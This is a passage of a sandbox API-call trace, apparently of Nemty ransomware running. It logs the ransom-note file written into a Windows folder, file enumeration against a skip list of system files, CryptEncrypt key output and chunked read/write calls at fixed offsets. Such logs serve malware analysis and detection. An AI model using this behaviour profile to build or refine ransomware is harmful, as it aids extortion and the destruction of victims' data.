MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0104.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0104.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0104.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0104.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0104.992] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows media player\\network sharing\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0104.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0104.995] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0104.995] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0104.996] CloseHandle (hObject=0x3c4) returned 1 [0104.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0104.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94168 | out: hHeap=0x4f90000) returned 1 [0104.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94168 [0104.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941e0 [0104.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94258 [0104.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0104.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0104.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0104.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0104.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0104.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0104.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0104.997] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows media player\\network sharing\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0104.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0104.998] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0104.998] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0104.999] CloseHandle (hObject=0x3c4) returned 1 [0104.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0104.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0104.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94258 [0104.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf2392a70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf2392a70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0104.999] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0104.999] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf2392a70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf2392a70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0104.999] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0104.999] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0104.999] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf365935, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf365935, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2c7e17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="ConnectionManager.xml", cAlternateFileName="")) returned 1 [0104.999] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2=".") returned 1 [0104.999] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="..") returned 1 [0104.999] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="...") returned 1 [0104.999] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="windows") returned -1 [0104.999] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="$RECYCLE.BIN") returned 1 [0104.999] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="rsa") returned -1 [0104.999] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="NTDETECT.COM") returned -1 [0104.999] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="ntldr") returned -1 [0104.999] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="MSDOS.SYS") returned -1 [0104.999] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="IO.SYS") returned -1 [0104.999] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="boot.ini") returned 1 [0104.999] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="boot.ini") returned 1 [0104.999] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="AUTOEXEC.BAT") returned 1 [0104.999] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="ntuser.dat") returned -1 [0105.000] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="desktop.ini") returned -1 [0105.000] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="CONFIG.SYS") returned 1 [0105.000] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="RECYCLER") returned -1 [0105.000] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="BOOTSECT.BAK") returned 1 [0105.000] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="bootmgr") returned 1 [0105.000] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="programdata") returned -1 [0105.000] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="appdata") returned 1 [0105.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0105.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ConnectionManager.xml", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0105.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ConnectionManager.xml", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectionManager.xml", lpUsedDefaultChar=0x0) returned 21 [0105.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0105.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ConnectionManager.xml", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0105.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ConnectionManager.xml", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectionManager.xml", lpUsedDefaultChar=0x0) returned 21 [0105.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0105.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0105.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0105.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ConnectionManager.xml", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0105.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ConnectionManager.xml", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectionManager.xml", lpUsedDefaultChar=0x0) returned 21 [0105.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0105.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0105.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ConnectionManager.xml", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0105.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0105.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ConnectionManager.xml", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectionManager.xml", lpUsedDefaultChar=0x0) returned 21 [0105.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0105.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e0 [0105.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0105.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94388 [0105.000] Sleep (dwMilliseconds=0x5) [0105.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf23b8bd0, dwHighDateTime=0x1d561e7)) [0105.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf23b8bd0, dwHighDateTime=0x1d561e7)) [0105.001] GetLastError () returned 0xb7 [0105.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0105.001] GetLastError () returned 0xb7 [0105.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0105.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0105.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0105.002] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0105.002] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0105.002] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0105.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0105.002] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="FZZKp6WhOKiGV66IGleJ61sNnHSKFJPtKrG88/J/vGRrJe+DILLdsD0jYI9Ac5Be\r\n7wfF4/vleDOY0MiEo2S0UdFkuDX+9XoYDCi+cMiRqJymKYDu3h1skXAIC4i676kY\r\newjy++ybiwtwiwViB3bS/m5WftyNjBYGLGUqnR3X2u3wMwypVWQ4jviZUykVGWhI\r\nNrWc2bpSgpxQO25kjJnTdQ7aB99yIF2dl3A9G90P9ligzWd/c/5y4AfCyuwp+nKk\r\nHRZz/584IhFghOGxPMcK0g3ZPMrTbSzkXX2QLOR/K4wVazCjddtrjMmKPxcSgSSE\r\n9Lcd/9cpwnvkkWLEodrIqw==\r\n", pcchString=0x653ef9c) returned 1 [0105.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0105.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0105.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0105.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0105.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0105.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0105.002] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\connectionmanager.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0105.002] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0105.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0105.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.011] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.012] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.021] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.021] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.030] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.060] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.060] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.070] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.080] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.080] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.089] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.089] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.099] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.099] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 